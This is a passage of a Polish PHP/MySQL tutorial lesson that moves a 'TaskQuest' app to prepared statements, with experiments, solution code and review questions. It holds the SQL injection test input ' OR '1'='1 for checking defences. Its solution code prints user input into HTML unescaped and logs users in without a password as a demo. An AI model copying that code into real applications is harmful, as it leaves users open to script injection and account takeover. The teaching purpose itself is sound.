<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code> tymczasowo zamień linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception('Nie udało się połączyć z bazą danych.');</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw $wyjatek;</code> (ponowne rzucenie oryginalnego wyjątku). Odśwież.<br />Oczekiwane: komunikat w rodzaju <code class="prettyprint lang-sql" style="font-size: 0.85em;">Access denied for user 'root'@'localhost' (using password: YES)</code> — <strong>w przeglądarce użytkownika</strong>: nazwa konta bazy i adres serwera.</li>



<li>Przywróć obie zmiany i sprawdź, że TaskQuest działa.</li>
</ol>



<h3 class="wp-block-heading">Eksperyment 5: filtr właściciela</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code> usuń z zapytania <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ?</code> <strong>oraz</strong> linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param(...)</code> (bez parametru nie ma czego podpinać). Zaloguj się jako Ola.</p>



<p class="wp-block-paragraph">Oczekiwane: Ola widzi zadania Kamy. To dokładnie problem z Lekcji 17 („Kuba i Ola widzą te same zadania”) — tylko że tym razem to nie ograniczenie CSV, lecz <strong>błąd w zapytaniu</strong>. Baza oddaje to, o co prosimy; pilnowanie, czyje dane pokazujemy, należy do nas. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>.</strong></p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">Poniżej wszystkie pliki, które zmieniły się w Lekcji 18. Pliki niewymienione są <strong>identyczne jak po Lekcji 17</strong> (w PHP: jak po Lekcji 15, wersja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">15_TaskQuest.md</code>, sekcja 9; <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">17_TaskQuest.md</code>). Przy plikach, w których zmienia się tylko fragment, podany jest dokładny zakres zmiany.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> — dopisane na końcu</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// (L18) dane dostępowe do bazy danych — domyślne ustawienia XAMPP
define('BAZA_HOST', 'localhost');
define('BAZA_UZYTKOWNIK', 'root');
define('BAZA_HASLO', '');
define('BAZA_NAZWA', 'taskquest');</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcja 18).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie-&gt;set_charset('utf8mb4');

    return $polaczenie;
}

function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wynik = $zapytanie-&gt;get_result();

    $zadania = &#91;];

    while ($wiersz = $wynik-&gt;fetch_assoc()) {
        $zadania&#91;] = new Zadanie(
            id: $wiersz&#91;'id'],
            tytul: $wiersz&#91;'tytul'],
            opis: $wiersz&#91;'opis'],
            termin: $wiersz&#91;'termin'],
            wykonane: $wiersz&#91;'data_wykonania'] !== null,
            xp: $wiersz&#91;'xp'],
        );
    }

    return $zadania;
}

function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz&#91;'id'],
        login: $wiersz&#91;'login'],
        imieUzytkownika: $wiersz&#91;'imie'],
        xp: $wiersz&#91;'xp'],
        streak: $wiersz&#91;'streak'],
        dataOstatniejAktywnosci: $wiersz&#91;'data_ostatniej_aktywnosci'],
    );
}

function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie-&gt;bind_param('s', $login);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz&#91;'id'];
}

function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie-&gt;bind_param('i', $limit);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;get_result()-&gt;fetch_all(MYSQLI_ASSOC);
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> — zmiany</h2>



<ul class="wp-block-list">
<li>nowa pierwsza właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">private int $id;</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">private ?string $dataOstatniejAktywnosci;</code> (było <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>),</li>



<li>konstruktor: <code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct(int $id, string $login, string $imieUzytkownika, int $xp, int $streak, ?string $dataOstatniejAktywnosci)</code>, pierwsza linia ciała <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;id = $id;</code>,</li>



<li>nowa metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId(): int</code> (pod konstruktorem),</li>



<li>metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(bool $zadanieWykonane): void</code> — na początku ciała <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($this-&gt;dataOstatniejAktywnosci === null) { return; }</code> (kod w kroku 4).</li>
</ul>



<p class="wp-block-paragraph">Pozostałe metody bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany()</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function czyZalogowany(): bool
{
    return isset($_SESSION&#91;'uzytkownik_id']);
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujDaneLogowania(string $login): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    return $bledy;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — część PHP (cała, do dołączenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$bledy = &#91;];
$bladBazy = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $bledy = walidujDaneLogowania($login);

    if ($bledy === &#91;]) {
        try {
            $polaczenie = polaczZBaza();
            $uzytkownikId = znajdzIdUzytkownika($polaczenie, $login);

            if ($uzytkownikId === null) {
                $bledy&#91;] = 'Nie ma użytkownika o takim loginie.';
            } else {
                session_regenerate_id(true);
                $_SESSION&#91;'uzytkownik_id'] = $uzytkownikId;
                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek-&gt;getMessage();
        }
    }
}

$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';</code></pre>



<h2 class="wp-block-heading">część HTML (cała, od końca części PHP do końca pliku)</h2>



<p class="wp-block-paragraph">Wklej bezpośrednio pod linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/header.php';</code>. Obie części razem to cały plik `zaloguj.php</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;

&lt;h2&gt;Logowanie&lt;/h2&gt;
&lt;p&gt;Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.&lt;/p&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladBazy !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zalogować: &lt;?= $bladBazy; ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="zaloguj.php"&gt;
    &lt;label for="login"&gt;Login&lt;/label&gt;
    &lt;input type="text" id="login" name="login" maxlength="20" required value="&lt;?= $login; ?&gt;"&gt;

    &lt;button type="submit"&gt;Wejdź do TaskQuest&lt;/button&gt;
&lt;/form&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code> zastąpione <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_bazy.php';</code>.</li>



<li>Bloki „dane użytkownika” (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new Uzytkownik(...)</code> z wartościami symulowanymi) i „dane zadań” (<code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code>) zastąpione blokiem:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane z bazy: zalogowany użytkownik, jego zadania i ranking ---
$uzytkownik = null;
$zadania = &#91;];
$ranking = &#91;];
$bladBazy = null;

try {
    $polaczenie = polaczZBaza();
    $uzytkownik = wczytajUzytkownika($polaczenie, $_SESSION&#91;'uzytkownik_id']);

    if ($uzytkownik !== null) {
        $zadania = wczytajZadaniaUzytkownika($polaczenie, $uzytkownik-&gt;pobierzId());
        $ranking = pobierzRanking($polaczenie, 3);
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek-&gt;getMessage();
}

// --- awaria bazy: bez danych gracza nie ma czego pokazać ---
if ($bladBazy !== null) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo "&lt;p class=\"blad\"&gt;Nie udało się wczytać danych: $bladBazy&lt;/p&gt;";
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

// --- konto usunięte z bazy, a sesja jeszcze istnieje ---
if ($uzytkownik === null) {
    unset($_SESSION&#91;'uzytkownik_id']);
    header('Location: zaloguj.php');
    exit;
}</code></pre>



<ol start="3" class="wp-block-list">
<li>Wszystko od bloku wywołań (listy, liczniki, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code>, metody grywalizacji, streak) do komunikatu jednorazowego — bez zmian.</li>



<li>Prezentacja: usunięty link „+ Dodaj zadanie”, usunięte <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($bladZadan !== null) { ... } else {</code> wraz z zamknięciem (zawartość gałęzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> zostaje), na końcu panelu dodana sekcja:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Najlepsi gracze&lt;/h2&gt;
&lt;ol&gt;
    &lt;?php foreach ($ranking as $gracz) { ?&gt;
        &lt;li&gt;&lt;?= $gracz&#91;'login']; ?&gt; — &lt;?= $gracz&#91;'xp']; ?&gt; XP (poziom &lt;?= obliczPoziom($gracz&#91;'xp']); ?&gt;)&lt;/li&gt;
    &lt;?php } ?&gt;
&lt;/ol&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_bazy.php'</code> (razem 19 ścieżek). Reszta bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.8&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">klasa Zadanie (bez zmian), wszystkie funkcje listy, grywalizacji, terminów, walidujLogin(), wyczyscTytul(), skrocOpis()
index.php: liczniki, filtr widoku + cookie, pasek XP, komunikat jednorazowy, lista z .po-terminie
sesja, session_regenerate_id(), wyloguj.php, wymagajLogowania(), ustawKomunikat(), pobierzKomunikat()
baza taskquest i sql/taskquest.sql (bez zmian)
dodaj-zadanie.php, data/zadania.csv, wczytajZadania(), zapiszZadania(), sprawdzWierszZadania(), PLIK_ZADAN
    — zostają do Lekcji 19 (formularz nadal zapisuje do CSV; wyłączony z nawigacji)
$zadanieWykonane — nadal uproszczenie (prawdziwy streak w L19)</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php:           BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA
includes/funkcje_bazy.php:
    polaczZBaza(): mysqli
    wczytajZadaniaUzytkownika(mysqli, int): array        — tablica obiektów Zadanie
    wczytajUzytkownika(mysqli, int): ?Uzytkownik
    znajdzIdUzytkownika(mysqli, string): ?int
    pobierzRanking(mysqli, int): array                   — wiersze &#91;'login', 'xp']
Uzytkownik: właściwość id, pobierzId()
$_SESSION&#91;'uzytkownik_id']
index.php: $bladBazy, $ranking, sekcja „Najlepsi gracze”
zaloguj.php: $bladBazy, $uzytkownikId</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia: SQL <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT kolumny FROM ... WHERE ... AND ... IS NULL ... ORDER BY ... DESC ... LIMIT</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">set_charset()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_all(MYSQLI_ASSOC)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code>; typy <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?int</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?Klasa</code>; pojęcie SQL injection.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>; konstruktor z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> na początku; <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> nic nie robi, gdy data to <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany()</code>: sprawdza <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code>: jeden parametr (login),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>: login musi istnieć w bazie; formularz bez imienia,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: dane z bazy, obsługa awarii bazy i usuniętego konta, bez linku do formularza, ranking,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 19 plików; stopka <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.8</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co</th><th>Dlaczego</th></tr></thead><tbody><tr><td>wartości symulowane <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14'</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>dane gracza są w bazie; te same wartości ma Kama w <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code> i owinięcie sekcji zadań w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code></td><td>awarię bazy obsługuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code> dla całej strony</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['login']</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code></td><td>kopie danych z bazy mogłyby się rozjechać; w sesji tylko identyfikator</td></tr><tr><td>pole „imię” w formularzu logowania i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td>imię jest w bazie; użytkownik nie „deklaruje” go przy logowaniu</td></tr><tr><td>reguły imienia w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code></td><td>j.w.</td></tr><tr><td>dołączanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>strona główna nie czyta CSV</td></tr><tr><td>link „+ Dodaj zadanie” (tymczasowo)</td><td>formularz zapisuje do CSV — zadanie nie pojawiłoby się na liście; wraca w L19</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 18 TaskQuest łączy się z bazą danych i czyta z niej wszystko, co pokazuje na stronie głównej. Logowanie sprawdza, czy konto istnieje. Każdy użytkownik widzi własne imię, XP, poziom, streak i wyłącznie własne zadania, a ranking pokazuje trzech najlepszych graczy. Wszystkie zapytania z danymi z zewnątrz są odporne na SQL injection dzięki prepared statements. Gdy baza nie działa, użytkownik dostaje czytelny komunikat zamiast błędu PHP.</p>
</blockquote>



<h1 class="wp-block-heading">11. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Nie są częścią wersji referencyjnej.</p>



<p class="wp-block-paragraph"><strong>A. Wyszukiwarka zadań.</strong> Nad listą zadań formularz <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="get"</code> z polem <code class="prettyprint lang-sql" style="font-size: 0.85em;">szukaj</code>. Po wysłaniu lista pokazuje tylko zadania zalogowanego użytkownika, których tytuł zawiera wpisany tekst. Nowa funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">szukajZadanUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $fraza): array</code> z warunkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ? AND tytul LIKE ?</code>. Znaki <code class="prettyprint lang-sql" style="font-size: 0.85em;">%</code> wokół frazy dodaj w PHP <strong>przed</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'%' . $fraza . '%'</code>), nie w tekście zapytania. Przetestuj frazy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHP</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">php</code> (czy wielkość liter ma znaczenie? dlaczego?), <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>, pusty tekst. Pytanie dodatkowe: co znajdzie fraza <code class="prettyprint lang-sql" style="font-size: 0.85em;">%</code>? Czy to błąd bezpieczeństwa, czy tylko niespodzianka?</p>



<p class="wp-block-paragraph"><strong>B. Statystyki liczone przez bazę.</strong> Jednym zapytaniem pobierz dla zalogowanego użytkownika liczbę aktywnych zadań i sumę ich XP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT COUNT(*) AS liczba, SUM(xp) AS suma FROM zadania WHERE uzytkownik_id = ? AND data_wykonania IS NULL</code>. Wyświetl obok liczników z PHP i sprawdź, czy wyniki są równe <code class="prettyprint lang-sql" style="font-size: 0.85em;">$liczbaAktywnych</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xpDoZdobycia</code>. Co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">SUM(xp)</code>, gdy aktywnych zadań nie ma (zaloguj się jako użytkownik bez zadań z Testu 8)? Kiedy liczenie w bazie jest lepsze niż w PHP?</p>



<p class="wp-block-paragraph"><strong>C. Moje miejsce w rankingu.</strong> Pod rankingiem: „Twoje miejsce: N”. Podpowiedź: miejsce to liczba graczy z <strong>większym</strong> XP plus 1 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT COUNT(*) ... WHERE xp &gt; ?</code>). Dodatkowo wyróżnij (<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;strong&gt;</code>) wiersz zalogowanego użytkownika w rankingu. Jak potraktujesz dwóch graczy z równym XP?</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>.</li>



<li>Sprawdź, że przywrócone są: <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> w zapytaniu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_HASLO</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception(...)</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ?</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> (Eksperymenty 3–5).</li>



<li>Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</li>



<li>Zaloguj się jako Kama i jako Ola — Testy 1 i 2 mają przechodzić.</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię napisać SELECT z wybranymi kolumnami, WHERE, AND, IS NULL, ORDER BY i LIMIT.
&#91; ] Wiem, dlaczego WHERE data_wykonania = NULL zwraca zero wierszy.
&#91; ] Potrafię połączyć się z bazą obiektem mysqli i wiem, co robi mysqli_report(...STRICT).
&#91; ] Rozróżniam $polaczenie, $zapytanie, $wynik i $wiersz.
&#91; ] Potrafię pokazać na przykładzie, na czym polega SQL injection.
&#91; ] Potrafię napisać prepared statement z jednym i z dwoma parametrami (typy s, i).
&#91; ] Wiem, dlaczego z prepared statementu id przychodzi jako int, a z query() jako tekst.
&#91; ] Potrafię zamienić wiersz z bazy w obiekt Zadanie / Uzytkownik.
&#91; ] Wiem, co znaczy ?string i dlaczego Uzytkownik go potrzebuje.
&#91; ] Wiem, dlaczego w sesji jest tylko uzytkownik_id.
&#91; ] Kama i Ola widzą po zalogowaniu swoje dane; ranking działa.
&#91; ] Przy wyłączonej bazie TaskQuest pokazuje komunikat, a nie błąd PHP.
&#91; ] Usunęłam/usunąłem brudnopis.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<p class="wp-block-paragraph"><br />Co zwróci każde zapytanie (liczba wierszy), gdy w bazie są tylko dane testowe z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>?<br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul FROM zadania WHERE uzytkownik_id = 2 AND data_wykonania IS NOT NULL;<br />SELECT login FROM uzytkownicy ORDER BY xp LIMIT 1;<br />SELECT tytul FROM zadania WHERE data_wykonania = NULL;<br /></code></pre><br />Kolega napisał: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie->query("SELECT id FROM uzytkownicy WHERE login = '$login'")</code> i twierdzi, że to bezpieczne, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> przeszedł <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>. Czy ma rację w tym jednym miejscu? Dlaczego mimo to w TaskQuest tak nie piszemy?<br /><br />Znajdź dwa błędy:<br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ? AND termin &lt; ?');<br />$zapytanie->bind_param('i', $uzytkownikId, $dzisiaj);<br />$zapytanie->execute();<br />while ($wiersz = $zapytanie->fetch_assoc()) { ... }<br /></code></pre><br /><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika($polaczenie, 7)</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Czy to awaria? Czym ta sytuacja różni się od wyłączonego serwera MySQL i jak każdą z nich obsługuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>?<br /><br />Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code> łapie wyjątek i rzuca nowy z innym komunikatem, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code> nie łapie niczego?<br /><br />W sesji jest tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>. Nauczycielka zmienia w phpMyAdmin imię ucznia. Kiedy uczeń zobaczy nowe imię — i jak byłoby, gdyby imię 